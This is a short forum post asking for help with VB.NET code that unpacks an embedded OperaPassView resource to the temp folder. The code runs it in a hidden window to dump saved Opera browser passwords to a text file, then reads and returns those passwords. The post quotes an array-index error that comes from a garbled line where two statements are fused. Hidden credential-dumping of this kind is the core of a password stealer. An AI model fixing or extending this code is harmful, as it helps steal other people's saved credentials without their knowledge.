Code Fix My.Resources ?!
Here is The Code :
and This is the Error :
i Can't Figure Out What's The Problem ?
ANY HELP ASAP ?
Code:
Dim open As String
Dim Ressource1() As Byte = My.Resources.OperaPassViewFileOpen(1, Environ("tmp") & "\OperaPassView.txt", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\OperaPassView.exe /stext " & Environ("tmp") & "\OperaPassView.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\OperaPassView.txt")
Return open
and This is the Error :
Code:
Number of indices exceeds the number of dimensions of the indexed array.
ANY HELP ASAP ?
